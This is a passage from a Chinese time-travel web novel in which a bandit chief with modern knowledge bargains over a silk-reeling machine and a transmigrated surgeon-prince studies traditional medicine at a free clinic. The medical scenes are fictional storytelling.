陆令嘉颔首,冲着吴老三他们几人扬了扬下巴。
“既然大家伙都没意见,你们就先跟着石头他们几个学个一两天,便各自把活换了吧。”
她安排好一应事宜便走了,还急着去找四叔看看这个时代的缫车呢!
跟着吴老三的两个人顿时笑逐颜开。
他们本来还以为大当家昨天只是随口敷衍的,没想到真的成了。
这石头几个人也是个傻的。
这么好的肥差,说让就让了。
几个人眼冒精光,等陆令嘉离开后又冲着吴老三抱拳:“还是你有办法!大当家真让我们去炼油制糖了!”
吴老三嘴里叼着根狗尾巴草,嬉笑一声:“跟着哥混,以后保管咱兄弟几个吃香的喝辣的!”
两人又附和恭维了几句,簇拥着吴老三走了。
-
通往县城的路,陆令嘉已经熟得不能再熟了。
但是天气渐凉,这段时间雨季又增多,导致山路特别泥泞不堪。
果然常言道:想要富,先修路。
不然每天走在这种路上实在是太折磨人了!
他们现在靠着来往山寨和县城,竟硬生生地把这条泥沼踩平实了。
但是长期以往,定是不行的。
陆令嘉有点心疼她脚上的鞋子。
鞋子是崔氏一针一线缝的,她本来一直劝她现在当务之急是要好好修养,不要再费劲劳神地做这些。
可是崔氏不依。
她总觉得寨子里的人都干活,除了吴婶的婆婆还有虎子他们几个小孩子,就属她“吃白饭”。
陆令嘉没有办法,只好找些活安排给崔氏。
她知道,崔氏是担心自己难做。
虽然她当着大当家,但是一直平白养着另一个人,只怕寨中有些人会私下议论。
她失笑一声。
刚来的时候还信誓旦旦地在那跟原主告慰,以后会“罩着”崔氏,让她安心。
可现在看来,一直都是崔氏给了她童年那部分缺失的母爱。
陆令嘉和四叔走在一路,基本上都没有人开口说话。
她是脑子里想着事情,四叔是纯粹就不是个爱开口的人,所以两个人就一直在沉默又诡异的气氛中走到了县城。
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她今日不卖东西,手里却也没空着。
拿出了前几日晒的果脯递给了守卫。
城门守卫在陆令嘉一次次的“糖衣炮弹”下也早已对她眼熟,自然又是客气地问候两句,便放他们进城了。
虽说陆令嘉来往这县城很多趟了,但木工铺子,她还真的一次都没有去过。
不过好在这地方四叔熟稔。
他七绕八绕地带人拐过一道又一道胡同,终于到了他最开始想当学徒的那一家。
那掌柜认识他,看到四叔来还打了个招呼:“你今儿怎么有空来这里?”
陆老四挠挠头,正想开口,却被陆令嘉打断了。
“掌柜的,家里最近准备缫丝,这不我叔就带我来您这看看有没有缫车卖。”
“有!有!有!当然有!”掌柜冲着陆老四和善的笑了声,做了个“请”的手势把人迎进去,“里面请,我带您去瞧瞧!”
这个陆老四当初说好来当学徒,临了又反悔,把他气个不轻,没想到现在居然还能给他介绍起客人来了。
木工铺子的掌柜姓邓,身形不高,带着他们二人穿梭在堆积的木材之间,一角还有几个木工正在做工,扬起的木屑散落满地。
空气里都弥漫着一股淡淡的木香。
陆令嘉伸着头装作好奇的模样四处张望着。
几个木工手里做的东西,正是玩具车和鲁班锁。
四叔也瞧见了,差点直接冲上去想与那几人对峙,被陆令嘉暗暗拦下了。
她微不可闻地摇摇头,示意他别冲动,压低了声音说道:“四叔,我们今天来这的目的不是为了这个。”
他噤了声,瘪起嘴忍了下来。
几架缫车堆在偏僻的一角,布满了灰尘,邓掌柜赶紧吩咐人拿了块布来擦拭,一边拍打着一边骂道:
“你们平日里净偷懒耍滑,这都布满灰尘了也不知道擦一擦。”
四角的缫车立在眼前,一根木条中贯以轴,木架上竖立着四根竹竿,这就是络笃了。
离络笃大约几尺高的地方,一根小竹竿斜斜地被钉住,上面安着小竹偃月挂钩,悬搭丝于钩内。①
转轴的周围还有许多固定蚕茧的工具,再放着一个圆形的木框,均匀地布上小孔,方便插.入蚕茧。
陆令嘉看着觉得这个款式非常老旧,用着应该也不怎么方便,疑惑道:“只有这一款吗?”
“包您在整个崖州城都找不出比这个还要再好的缫车了!”邓掌柜答道。
“那这个应该怎么使用呢?”
“您瞧好嘞!”
邓掌柜直接拔动转轴回转,一边解释:“您看,这样引出来的丝条便能直接缠绕在这圆框上。”
陆令嘉瞧着便兴致不高,就这么个玩意也忒麻烦了,起码要有两个人来回劳作,效率太低。
邓掌柜许是看出她不太满意,一跺脚,“这位姑娘,这样,看在您叔叔的面上,这个缫车我便宜卖给您!”
他咬咬牙:“就只收您十两银子!”
“十两?!”陆令嘉惊呼。
抢钱啊!
邓掌柜一脸肉痛:“十两已经很便宜了!您去其他木工铺子问问,哪家的缫车不要二十几两的!”
陆令嘉:“?”
不是,这玩意居然这么暴利?
18. 第 18 章
陆令嘉记得她写论文的时候特地研究过,大约是道了宋朝时期出现了脚踏式缫车,因而大幅度提升了劳动效率。
但是没想到这里居然连手摇式的都没有。
她摇摇头,一副不甚满意的样子,冲着邓掌柜拱手道:
“抱歉,我觉得这缫车效率有点低,还是先去别处看看吧。”
“欸——”
邓掌柜看着她要走,连忙留人,这缫车堆在这好久无人问津,好不容易来了个感兴趣的,他打着笑脸:
“您若是觉得是因为价钱原因,咱们还可以再商量商量,这崖州城我这里手艺最好,您不信问陆老......”
话说一半,他伸出右掌轻拍了一下自己的嘴巴:“瞧我这嘴,您不信问问您叔叔,是不是我们这的木工手艺最好。”
四叔轻轻点头,在这上面邓掌柜倒是没说假话,整个崖州城属他这里的木工最多,手艺也最好。
陆令嘉似是不信:“可是,我先前和家里人在京城见到过更加精致的缫车,操作起来极为方便,仅仅一人就可以独自缫丝。”
邓掌柜明摆着不信:“不可能!要是有这种缫车,那些个蚕户铁定早就买了!”
陆令嘉:“您别不信,到时候我托人给我运一架过来,您这收吗?”
“收!”邓掌柜压根不相信这个姑娘的话,他算是看出来了,这陆老四今天是带着人来找事的呢!
他冷哼一声:“只要有这种缫车,多少钱我都收!”
“好!”
陆令嘉双手拍掌,放出豪言壮语,“少则半个月,多则一个月,我定托人把这缫车带回来!”
邓掌柜:“若是没有又当如何?”
陆令嘉:“若是没有,我便原价将您这三架缫车都买回家去!”
邓掌柜乐了。
三架缫车,那便是三十两银子。
他眯起眼睛,盯着她看了一会儿。
见陆令嘉神色不变,暗暗咂舌。
莫非还真的有这种缫车不成?
但是他走南闯北这么多年,怎么听都没听过?
这姑娘定是在诈他,想随便拿出架缫车糊弄他。
邓掌柜佝偻着背,本就瘦小的身躯看起来更多了几分加精明,他的眼珠子滴溜溜转了几圈,道:
“口说无凭,若是姑娘敢赌,便立下字据?”
陆令嘉正愁着怎么开口,人掌柜就将“梯子”递了过来。
她全然不顾四叔在旁边使得眼色,大大方方地坐下。
字据是邓掌柜起草的,陆令嘉字识得还不够全,拿起来磕磕巴巴地将上面的读了几遍,确认没有什么陷阱之后,才拿起笔签上了自己的大名。
她的字歪歪扭扭,又带着点一种难以言喻的工整。
融合在一起看着无比的怪异。
害。
比起第一次在醉仙楼签单,已经进步很大了。
她在心里安慰自己。
拿好契书,陆令嘉便和四叔一起走出铺子。
四叔已经急得额头直冒汗,难得地说了一大串话:“陶陶你怎么能跟这个掌柜签这种字据!咱们现在可没这么多钱!”
“再说这个东西,我研究研究也能做出来,何必浪费这个银子!”
陆令嘉一脸淡定:“放心吧四叔,这钱咱们付不了。”
她很自信。
并且,她也不准备将这个缫车卖出天价。
最重要的目的还是把这个东西推广出去,让更多的女性能用得上。
再则,根据她以往的经验,若是能将某件不常见的东西普及,她的系统也能增加不少积分!
四叔半信半疑,在心中暗自思考着她刚刚话里的可信度。
虽然这段时间她带着寨子里的人挣了不少钱,可他还是觉得有些忐忑。
这可是整整三十两银子!
能让寨子里的人一年都吃穿不愁了。
他忧心忡忡,愁眉不展,一时之间没注意到脚下的路撞上了人。
“咦——”
他抬头一看,怎么感觉这个小伙子这般眼熟。
走在前头的陆令嘉看到四叔久久没有跟上,转头回去找他,见他正跟一个身形俊美的男子交谈。
没想到四叔看起来沉默寡言,社交圈倒还挺广泛。
她走近正欲打声招呼,抬头一看。
两人四目相对。
一时之间,陆令嘉感觉浑身的血液都凝固了,只想立马打个地洞钻下去。
怎么在这也能碰上这个反派王爷?
“陆姑娘,好巧。”谢昭冲她颔首示意。
“呵呵......”
她的嘴角勉强扯出一丝僵硬的笑容。
“是挺巧的哈......”
四叔也跟着在一旁傻笑:“这小伙子不错,现在就在这条街上给大家伙义诊。”
义诊?
这是书里那杀人不眨眼的,能令小儿夜啼不止的战神王爷?
开玩笑呢吧!
陆令嘉的嘴角抽搐两下,这才想起跟四叔解释:
“四叔,人家是平南王,王爷!整个崖州城都归他管!”
她着重咬牙加重“王爷”两个字。
四叔好像没听明白,怔愣片刻,问道:“王爷?”
陆令嘉:“是啊,就是那个字面意思上的王爷。”
她小声哔哔,扯上四叔就要告退。
但四叔这个愣头青,硬是还没回过神来,指着门口硕大的牌匾问道:“可这不就是‘回春堂’吗?”
陆令嘉顺着他手指的方向往上看去,隐隐约约辨认出“春”这个字。
她再看向对面站着的这人,依然清冷俊雅,矜贵疏离。
确认过眼神,是书中的反派男配没错啊!
没想到他私下竟还有这种癖好?这是在收买人心还是?
不过在这个时代,能开义诊的大夫,都是善人。大多百姓们穷苦,看不起大夫,生了病,都是随意采些草药硬扛过去。
若是有大夫免费诊治,对症下药,那这里百姓的生存环境能大大提升。
许是她因为先入为主了,一直戴着有色眼镜看人,没想到这人还挺有良心的。
她双手抱拳,满怀敬佩道:“没想到谢王爷竟是如此良善之人!”
谢昭淡淡应声:“小事。”
陆令嘉想起他书中凄惨的结局,皆是为了争夺女主,最后造反引起,心想这人既然学雷锋做好人好事,那她便也大发慈悲,稍微提示他一点。
这样,也算替崖州百姓做了件好事。
她神神秘秘地东张西望了一会儿,末了,凑近谢昭的耳旁压低声音:“王爷,我观您面相,近期可能有血光之灾,务必要小心应对。万事多考虑考虑后果,尤其是某些要去
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北方的行为,一切以大局为上,切莫冲动!”
毕竟,冲动是魔鬼啊!
谢昭:“?”
这女山匪在说什么东西?
山匪不当改行做神棍了?
他垂下眼眸似在思考,浓密的睫羽遮住了他眼中一闪而过的讶异。
微微抬头看她,只见对方神色无异,心中怪异更甚。
陆令嘉话已带到,接下来这王爷的命数如何,就只能看他自己的了。
“四叔,走啦!”她冲着还在发呆的四叔摆摆手臂,又对着谢昭道别。
“王爷,我们先告辞了。”
谢昭:“嗯。”
他望着陆令嘉离去的背影,收回目光,清冷的面庞上又多了几分疏离。
-
谢昭将手里硕大的旌旗挂上,上面赫然写着“义诊”二字。
这块布还是他让沈煜去军营中找来的。
普通的布庄没有这么合适的材质,绸缎庄里的价格又贵得离谱。
有这个闲钱不如寻铁匠打造一副纯银的手术刀。
刚刚看到那个女山匪,他还有些怀念起在山寨里的日子。
早知道刚刚就把那女山匪留下来,名义上是感谢她先前多日来的照顾,但是只要她尝到王府里那些饭菜,估计会忍不住亲自下厨的...吧?
罢了。
他长叹一声,将旌旗径直插到门口的花坛里。
一面红黄色的,习惯了冲锋陷阵的旗帜,就这样随风飘扬在“回春堂”的门口。
插完旗子,他转身回了医堂。
他把一起追随而来的王太医拉过来一起在这儿坐诊,美其名曰相互交流切磋。
王太医对此很是不满!
他当初就图这么一份清净,跟着王爷千里迢迢来了这崖州。
伺花弄草,悠然垂钓的日子还没过够呢,就又被王爷拉出来打工了!
王太医心里苦啊!
打仗的时候王爷就是出了名的不要命,怎么研究起医术来,也这么废寝忘食啊?!
王爷变了,好像又没变。
总归还是一样的变态!
哪个人能一天之内了解完人的身体构造,第二天就给他找了等比例的模型拼起来的?!
再这样被他内卷下去,自己大齐第一神医的称号迟早要换人!
不过,该教的还是得教。
“咳咳......”
王太医见他进来,轻咳两声。
“王爷今日准备学些什么?”
谢昭施了一礼:“学生今日想学开方。”
王太医捋捋下巴仅有的几根胡须,微抬下巴,轻轻颔首,刚刚的抱怨瞬间烟消云散。
不为别的。
天天有人自称学生,喊着自己老师,他也得到了极大的满足感。
既然王爷如此好学,他便勉强将自己毕生所学教上一二吧!
“今日那便先教你辩证之法。”
“精究方术,上以疗君亲之疾,下以救贫贱之厄,中以保身长全。①
以为人命至重,有贵千金,一方济之,德逾于此。”②
“王爷,学习医术非朝夕可成,实需持之以恒,甚至需要花费长久的精力,望王爷能坚持下来,假以时日,必能学有所成,以另一种方式造福一方百姓。”
谢昭闻言,双手交叠胸前,深深地行了一礼。
19. 第 19 章
医者仁心。
谢昭对于这种德高望重的名医向来是心怀敬佩。
尤其是像王太医这种不畏生死,即使一把年纪也在前线久驻的医生。
而且,他刚穿来这的时候就发现了,这里的医疗环境很差。何况崖州,历来都是被当作流放之地。
这点有些像他幼时待过的农村里。
多得是因为得不到及时的救治耽误成大病的百姓。
甚至因为没钱看病,喝农药自杀摆脱病痛的,比比皆是。
他之所以学医,也是因为这个原因。
他见过太多人在自己面前死去而无能为力。
谢昭收回思绪,敛了神色,乖乖做一个认真听讲的好学生。
在现代,他从小学就开始不断跳级,年年都是品学兼优的学生代表。
后来大学学的是心外科,本硕博连读。读博期间就跟着导师开始操刀,申报的课题新型选药模式也已成功应用于临床,直接成为了一匹黑马,就职本地最大的三甲医院,前途一片光明。
没想到来了这儿,又要重新回到了生时代。
日后估计也免不了还要再来几遍临床实践。
在这里,没有检测仪,没有手术仪器,现代外科技术和古代中医学有壁。
不过他既然决定重头再来,打破一直困着自己的枷锁,也做好了会困难重重的准备。
谢昭抬头,神色有些怔怔。
“认真点!”
王太医看到他出神,手指微屈敲在了厚重的医书上。
“给病人看病,首先讲究的是四诊合参,即将望、闻、问、切四诊收集的病情进行综合诊断,参照互证。听起来简单,但难就难在是诊脉和辨证。”
......
王太医讲完所有要点,又捋了捋胡须:“等等若有病人进来,王爷便按我所说的先试诊一次。”
等到了午时三刻,外头太阳最毒辣的时候,有一约四十岁的男子踱着虚步进来。
他佝偻着身躯,缩着头,怯生生地问道:“我看...…外面挂着旗子...是大夫免费给我们看病...…不收银子的意思吗?”
谢昭颔首,示意他坐下。
那人坐下,自觉地就张嘴伸出舌苔,说道:“我最近常感觉胸口闷痛,刚刚干完活觉得脑袋也开始晕了。”
要不是看到这“回春堂”写着义诊,不收分文诊金,他还打算回去找个寺庙抹点香灰吃一吃。
谢昭一边观察,一边记录,抽空还问了几个问题:“在哪里做活?”
“我在码头那边卸货,刚刚运了一板车的货来这边。”
谢昭:“是否有既往病史?”
“啥是既往病史?”
谢昭:“......”职业习惯,顺口了。
谢昭:“就是之前有没有得过什么比较严重的疾病?”
“没有,就是些头疼脑热,在家睡一觉就好了!”
谢昭唰唰唰写下:无病史、既往体健,长期从事高温工作,胸口闷痛、伴头晕。
他又上手摸了对方的胸口,一边摸一边问他具体闷痛的位置。
待对方回答后又瞥了一眼,提笔:位于心前区,持续无法缓解,无心悸,四肢抽搐。
谢昭右手伸出三指,搭在了那人的脉上开始切脉。
脉象细弱,脉搏跳动的速率又较快。
他大概知道是什么症状了。
王太医见他收回手,问道:“如何?”
谢昭转头看向王太医:“学生学浅,观此人意识模糊,但对光反应良好,心率齐,口唇无发绀,胸痹,应是热射病。”
王太医:“?”
王爷到底在说些什么东西?为何他一个字都听不懂?!
谢昭看到王太医怔愣的表情,垂眸叹气,换了种他还未完全熟悉的说辞:
“此人舌红少苔,脉细数,暑入阳明致气阴两伤,心气不足,血行瘀滞,所以导致心脉痹阻。辨证为气阴亏虚型胸痹。”
王太医听完满意点头,又亲自上手给人切脉。
切完后更是大为赞赏。
王爷果然是天赋异禀,他只教了一个上午,便能融会贯通,准确无误。
他笑问:“依王...爷......”话音未落,发现还尚有病人在场,便换了个称呼。
“依你看,应当如何诊治?”
先做个冠状动脉造影,再做个心脏彩超,若是严重,还需植入支架,再服用阿司匹林,联合硫酸氯吡格雷片等等......
可惜,这些药,都没有!!
他忍痛闭眼,思忖片刻,缓缓开口:
“可服用人参养荣汤,取人参、黄芪、当归等煎煮,两方合用,可益气养阴、活血通脉。”
王太医好奇:“为何不服用‘血府逐瘀汤’,活血化瘀、通脉止痛,可以更快化解他的血脉瘀阻?”
谢昭沉吟片刻,道:“他经常需要在高温之下做活,码头又是高湿环境,病人现已开始四肢抽搐,且发热严重,是以运血无力,阴虚无以生气,所以这才出现心脉阻痹的症状。”
“所以主因在于气阴亏虚,应当服用人参养荣汤。”
“好好好!”王太医连连拍掌,激动地站起来说了三个好。
病人却懵了。
“大夫,我这病...难治吗?药贵不贵啊?”
人参,当然是贵的。
但是这人既然常年在码头做工,肯定没攒下几个银子,更舍不得花大笔的银子去抓药。
所以这才拖到这么严重,直到瞧见了义诊的旗帜才敢进来看病。
若是不服用,他都开始抽搐且意识模糊,危在旦夕。
谢昭盘算了一下自己府里的存银。
唉。
只能这个月少吃几顿醉仙楼了。
他道:“既是义诊,自是免费。你按照方子去后头药堂抓药,跟小二说记在谢大夫的账上即可。”
男子大喜过望,接过药方抱拳连连感谢。他四肢不受控制,却还是颤着腿跪下磕了几个响头。
“谢谢恩人,谢谢大夫!”
谢昭手中的笔一抖,笔锋歪斜,刚刚落笔之处染上了一小块墨晕。
王太医让人起来,道:“快些去抓药吧,早些服用下去。”
待人走后,王太医眯着眸子打量谢昭。
谢昭依然端正地坐着,时不时记录一些话语。
他凑过去一看,“咦”
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了一声,有些好奇:“我竟从未见过如此记录之法。”
话语间还颇为认同地点了点头:“若是这般记录,确实更为直观明了,还可以让病人也能清晰地了解自己病情,甚好,甚好!”
只是有些用词,他怎么看不懂?莫不是老眼昏花认不清字了?!
谢昭搁笔将笔墨吹干,递了过去,与王太医探讨:
“持续性胸痛与急性胸痛症状相似,不知应该如何辨证?”
王太医没想谢昭还能举一反三,深入思考,甚是欣慰。
他道:“先察疼痛部位,再问痛感如何,最后辨舌苔脉象,以及伴随症状,最后再对症下药。”
谢昭领悟,在他的医案上细细记录。
以后,他可以中西结合,将心外科在这里传承下去!
九月,崖州城还是异常的炎热。
这里现下还未被完全开发,水土气毒,雾露气湿,且多毒草虫蛇。
加之长期暴晒,码头上应是有不少人会中暑气。
如此期以往,许是有不少人会得热射病。
运气好的,像刚刚那名男子一般恰好知道这里可以义诊,捡上一命,更多的病人却是生死由命,不待旋踵便病入膏肓。
一群连衣食都无法保证的人,何论去求医呢?
要想得热射病的人减少,首先要解决最主要的问题。
不用暴晒,或者在码头附近有个休憩的地方。
总之,不能让他去射日吧?
谢昭一个理科生,在脑海中翻阅所学资料,竟是连一个有用的知识点都想不起来。
罢了。
回府后再翻阅一些史籍,慢慢琢磨吧。
他合上医案,按压揉搓太阳穴放松大脑。
一整天高强度的接收新知识让他觉得有点疲倦。
还没放松完,堂外一亮紫色身影像一阵风似跑了进来,整出一大串动静。
沈煜手上拿着一大串玩意,兴致勃勃地扔到了谢昭面前。
“子期,你还真在这跟着王太医在这义诊了?”
谢昭应了一声,继续闭眼休息。
“你快睁开眼睛先看看,我刚刚在街上买到都玩意,可有意思了,我在京城里都没见过这么有趣的玩意!”
沈煜一连串地把话说完,谢昭才勉强睁眼分给他一个眼神,顺着他的手势往桌上的东西看去。
不看还好,看见后他竟有一瞬的失态,连舌头都有些不听使唤:“这……这…是哪来的?”
沈煜看到他惊讶的表情后,更是异常得意:
“有意思吧?!这玩意现在满大街都在卖呢,叫什么玩具车和鲁什么来着?哦…陆班锁?对对对,我看着这上面是刻了个‘陆’字,这可是整个崖州城现下最流行的玩意!别说兄弟对你不好啊,喏,这几个是给你买的,够意思吧!”
他压低了声音,甚是神秘:“听说赵昶在自己府里玩这玩意,玩了两天没合眼!”
谢昭:“……?”赵大人应该是进行“学术研究”吧?
不过,他确实没想到玩具车的原型竟然这么早在这里就已经出现,还有这鲁班锁,居然也被其他人发明出来了。
看来他还是小瞧了古人的智慧!
20. 第 20 章
在沈煜期待的眼光中,谢昭当着他的面摆弄了一会儿鲁班锁。
他的童年生活甚是无趣,但是因为爷爷是木工,所以这些木质的玩具他如数家珍。
他三两下就把东西拆开又重新组合完成,把沈煜看得是目瞪口呆。
沈煜甚至开始怀疑起自己的智商:“这东西...难道...很简单吗?”
谢昭挑眉:“不然呢?”
这些都是儿童益智玩具,他一个成年人很快解出来有问题吗?
“好吧好吧,我服了!”
沈煜的小嘴一张一合,开始感慨:“我承认你是比我稍微只是聪明那么一点点,也就是只有这么一点点,这东西我也会拼!我只是为了测试一下你的智商这才拿来先给你试一试!”
好险好险!幸好他提前看了图纸,也提前试了一遍!
不然真的要被谢子期嘲笑了!
谢昭双手摊开,耸了下肩膀,表示不在意。
一旁的王太医却眼睛一亮,拿起来开始把玩。
他还没见过这个玩意,设计得甚是巧妙!
回春堂又陆陆续续来了几个病人,但都是些小痛小病,都是看着免费义诊的份上,来找大夫看看自己的身子骨如何。
但谢昭也没有一丝懈怠之意,每一个都是认真切脉、辨证,随后又问王太医是否正确。
王太医暗自感慨:王爷这学习能力,实在是太可怕了!
假以时日,定能成为一方名医,远超于他!
一天下来,谢昭陆续接待了二十余名病患,沈煜在一旁是目瞪口呆。
他不禁怀疑:谢子期都不需要休息的吗?驴也没这么能干啊!
谢昭在现代坐诊的时候,光是一个上午就能看五六十个号,中午捧着个盒饭还要给加号的患者门诊。
一天只看二十个病患?
笑死,他从来没感觉这么轻松过。
而今天这一天,来的所有病患中,除却一个妇人因为肚子疼痛不止,他辨证错了,其余都对了。
正确率高达百分之九十九!
那位妇人遮遮掩掩,谢昭正常问话的时候,她回答一直都是支支吾吾,给不出明确的答案。
只含糊地说着自己的下/体在流血。
谢昭理所当然地以为她只是痛经,切脉时隐隐觉得脉象沉浮却也没有多想,遂开方温经散寒汤,温经散寒,活血止痛。
岂料王太医复诊时,收起了方才嬉笑的脸庞,表情凝重。
王太医搭在她脉上的手迟迟没有松开,言辞谨慎:
“老夫斗胆问一句,您的月事有多久没来了?”
“大约...已一月有余......”
谢昭手里的笔哐当一声落在了地上。
一个月没来月事,下/体却流血不止。
那只有一种可能。
病人这是妊娠期出血!
若是治疗不得当,怕是要小产!
他倏地站立起身,连忙叫上沈煜把两张桌子搬来,拼在一起让那妇人躺下。
就连王太医都紧皱眉头,一时不敢确定该如何开方止血。
妇人知道自己怀孕,紧抓着王太医的衣袍不肯松手,眼眶里噙着泪珠,不断地颤声哀求:
“大夫,求求您...求求您...救救我的孩子。我...我以后当牛做马都会报答您的......”
王太医叹息一声:“老夫尽力而为吧。”
这妇人,来得实在太晚了,他只能勉励一试。
他拿起金针,刺入中脘、足三里、内关,再刺气海、百会、膻中三穴。
左手拇指掐切腧穴,右手拇指与食、中三指夹持针柄,针尖紧靠指甲边缘迅速刺入,施行提插、捻转长针。
妇人苍白的面庞渐渐开始恢复了一点血色。
王太医见状,这才分出神来,冲着谢昭又开始现场教学:
“这叫‘毫针刺法’,针刺得气后,虚证补法,实证泻法。”
好在这个妇人求生欲异常坚定,王太医行完最后一针,长吁一口,总算是把血止住了。
他额间豆大的汗水方才都滴到了眼睫上,幸而谢昭及时拿了帕子替他擦拭,不然临到紧急关头,视线受阻,必然会影响他施针的速度。
王太医不由暗暗夸赞!
王爷在某些方面甚是细心,就连他也自愧不如!
他哪知道谢昭这是职业习惯。
在现代,谢昭主刀的时候,经常一个手术动辄就是好几个小时,双手拿着手术刀根本无暇分心,一般都是旁边的实习生或者护士替他拭去额头上的汗水。
现在谢昭重回实习期,服务意识自然相当到位。
妇人痛苦的呻吟声渐渐小了,来了两个药童拿了条小毯子过来,替她遮盖。
王太医重新走回位置坐下,研磨,开始写药方。
谢昭跟着在一旁做着笔记。
因着妇产科他不是很熟悉,差点就酿成大祸!
还是要跟着这种老前辈多学习,多辨证,多实践。
中医不比西医,没有精密的仪器可以知道对方的具体症状,现在更没有验血报告单知道患者的情况。
全都是要靠着四诊合参,一点都马虎不得。
不然中间只要出了一丁点的差错,就会跟他刚刚一样。开了相反的药方,白白扼杀一条人命。
他如此认真的态度让王太医很是感动。
王爷明明已经身处高位,却还是如此好学,相比之下,他的那两个药童真是不成气候!
谢昭将笔记做完时,那名妇人也好转了许多。
王太医走回去将针慢慢拔下,又交代了几句注意事项。
“回去之后切记不能再干重活,好好修养,等胎象稳定,两个月后再来复诊。”
妇人起身便要下跪:“多谢恩人救我和我的孩子一命。”
“这是方子,拿着去后方抓药,一日三次,饭后服用。”
“我...我......”妇人踌躇片刻,咬咬牙,问道:“这些保胎药要多少钱?”
谢昭已经将方子誉抄一遍,递了过去:“不用钱。”
“啊...?这......”
她有些不好意思,这两位恩人已经免费替她看病了,哪还能不收药钱!
一直站在一旁的沈煜一把接过药方,带着人就往后头走去:
“没事没事,您现在先保重自己的身子骨重要,我这兄弟平时就爱助人为乐,我带您去抓药。反正他银子多,平日里闲着无聊就喜欢做些善事,您回去可以跟邻里多说道说道,多找来些病患给他把把脉......”
他一边走一边说,直到声音消失在转角。
谢昭脸冒黑线:“......”
他哪里银子多了?这又是哪里传的谣言?!
眼看天色渐渐暗了下来,估摸着也不会再有病患过来了,谢昭和王太医各自收拾着自己的物件准备收
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诊回府。
刚一踏入王府内院,就看到两个小厮模样的人正作着揖跟门房通报着什么。
谢昭顺势摆摆手便让人进来了。
“王爷!”来人恭敬地递过一个信封。
谢昭疑惑地接过,打开后扫了几眼,眉眼跳动,有一种不祥的预感。
小厮拱着手连连作揖,打着笑脸:“这些都是沈公子今日消费的账单,他说记在您的账上,让我们只要来王府上结账即可。”
谢昭的手指骤然捏紧了信纸,骨指泛白,碎纸片从他的指缝中慢慢滑落。
他就说沈煜怎么会突然想起给他买东西!
敢情花的都是他的钱!
谢昭解下荷包,凑出八两碎银,咬牙切齿:“沈!仲!川!”
-
陆令嘉考察完毕,带着四叔风风火火地回了寨子便把脚踏式缫车的图纸画好了。
有些细枝末节她记得不是很清楚,但是让四叔多尝试几次,总能做个雏形出来。
四叔如获至宝,接过图纸的时候双手都在颤抖:
“陶陶,原来你真的不是在骗他啊!”
陆令嘉:“我骗他干嘛,要白白搭上这么多银子,我又不傻!”
四叔:“那这种缫车做出来后,你准备卖他多少银子?五十两?还是......”
陆令嘉:“先看看您的成本需要多少,若是成本低廉,我便想批量生产,除去成本费,每架只额外加收一文钱,您看可好?”
“一文?!”四叔惊呼,“这是不打算赚钱吗?”
“对!”
陆令嘉站起来,手指一一指过寨子里的每一个女性。
“四叔,你看张婶,吴婶,二嫂、三嫂...还有我娘,她们每一个人都过得如此艰苦。
有丈夫的,时不时要忍受丈夫的辱骂和讽刺,却不敢还嘴。而那些死了丈夫的,更是要小心谨慎,如履薄冰。”
“世道艰难,她们更是。”
“我只是想给这世道每一个女性多一条赚钱的路子,那么她们以后也能多一条选择。”
她不知道四叔心里的什么样的想法。
四叔还没有娶亲,虽然他平日里一直都是埋头苦干,沉默寡言,但是陆令嘉不敢保证他一定会同意这个决定。
四叔听完只说了一个“好”字,便没有再多余的话了。
不仅是没有反驳,甚至是连其他疑问都没有。
这下轮到陆令嘉惊讶了。
她小心问道:“四叔,你不反对吗?”
四叔:“有啥好反对的,反正现在你是寨子里的大当家,你做主!我只负责研究做出你这些图纸上的玩意!”
他嘿嘿一笑,盯着手上的图纸久久没有回神。
这么神奇的设计,也不知道陶陶究竟是在哪个高人手中得来的!
陆令嘉算是明白了。
四叔只是单纯痴迷木工。
不过有了他这句话,她也总算能彻底安下心来。
估计等她以后画出土砻和水车的图纸,四叔只会二话不说立马着手研究,不会对她多提要求,更不会多嘴问她这些图纸是从哪里来的。
不然她真的不好解释她是从哪里学的这些!
等明儿,还得去醉仙楼一趟,程掌柜门路广,托他找个靠谱的牙子,买田地的事项就可以提上日程了!
陆令嘉终于放下心来。
她可以在这里继续开展现代未完成的事业了!
21. 第 21 章
赵昶赵大人是崖州城的县丞。
十六岁便连中三元,一举夺魁,成为整个京城最负盛名的少年郎。
赵昶意气风发,高中后直接被工部尚书挑中,从工部主事开始,一路晋升成为工部侍郎,从三品。
然而事实难料,赏识他的那位尚书林大人因病重告老还乡,恰好林尚书之前的政敌上位,顶替了尚书一职,成了他新的的顶头上司。
新上司知道他是林尚书一党,便处处针对,给他穿小鞋。
而赵昶本就少年自负甚高,文人傲骨,从不卑躬屈膝。
在某次主持修建江堰之际,与新尚书发生分歧,后自愿请旨远离京都这个是非之地。
而新尚书却始终怀恨在心,抓住把柄,寻隙诬告。
赵昶先后被贬至颍州、扬州当一州知府。
奸佞当道,朝中政党变化风云莫测,新尚书势力不断壮大,又寻了一个“讥刺先朝”的罪名,将赵昶一贬再贬,最后到了崖州成了一个小小的县丞,重新变成了一个八品官员。
崖州历来都是朝廷流放重犯的地方,赵昶也已经过了年少轻狂的年纪,只从容上任,不再参与任何政党纷争,每日研究工事,倒也快活。
某日上街,他竟然发现有人卖的物件甚是新奇,忍不住买回去去日夜研究。
当日那两名摊主说这是供小儿玩乐的玩具,他却看出了一些别的门道。
光是那马车可以这么顺畅的滑行,是因为轨道光滑整齐的原因。崖州主城街道的路况坑坑洼洼,泥泞不抗,时而会发生马车车轮坍陷的问题。
若是能将道路修的平整光滑,那马车岂不是也能顺畅行驶?
再者,那个叫鲁班锁的小玩具,榫卯结构巧妙,相接起来如此契合,若是能用于屋梁构造,那又该如何?
试想,房屋栋梁间,榫卯相接,严丝合缝,无需一钉一胶,宛如天成,那定能成为一件新的瑰宝!
赵昶眼神火热,心中满是赞叹。
没想到在这偏远的一方,竟有如此才能出众之人!
他想起摊主之前对他说的话,整理好这几日画的手稿,往醉仙楼走去。
-
这醉仙楼现在说是日进斗金也毫不夸张。
每日都能见到门口排起长队,多的是老饕家的小厮提前来替自己主子占位置的。
赵昶平日里基本上都是在府衙食堂用膳,从未下过馆子,第一次见到如此盛况着实吃惊。
莫非这酒楼有什么奇特之处?
他满怀疑虑,敛好衣袍往里走去。
小二将抹布往肩上一甩,熟练的摆出一个“请”的姿势,满脸笑容:
“客官里面请。”
他一边将人引到桌台,一边解释:“客官瞧您眼生,是第一次来本店吗?最近小店生意红火,需要先取号排队,您这边请——”
这个方法还是陆姑娘给支的招。
程掌柜当时大为惊喜,如此一来,客人们也不会为了一个空桌而大打出手了。
赵昶抬手打断:“不必麻烦——”
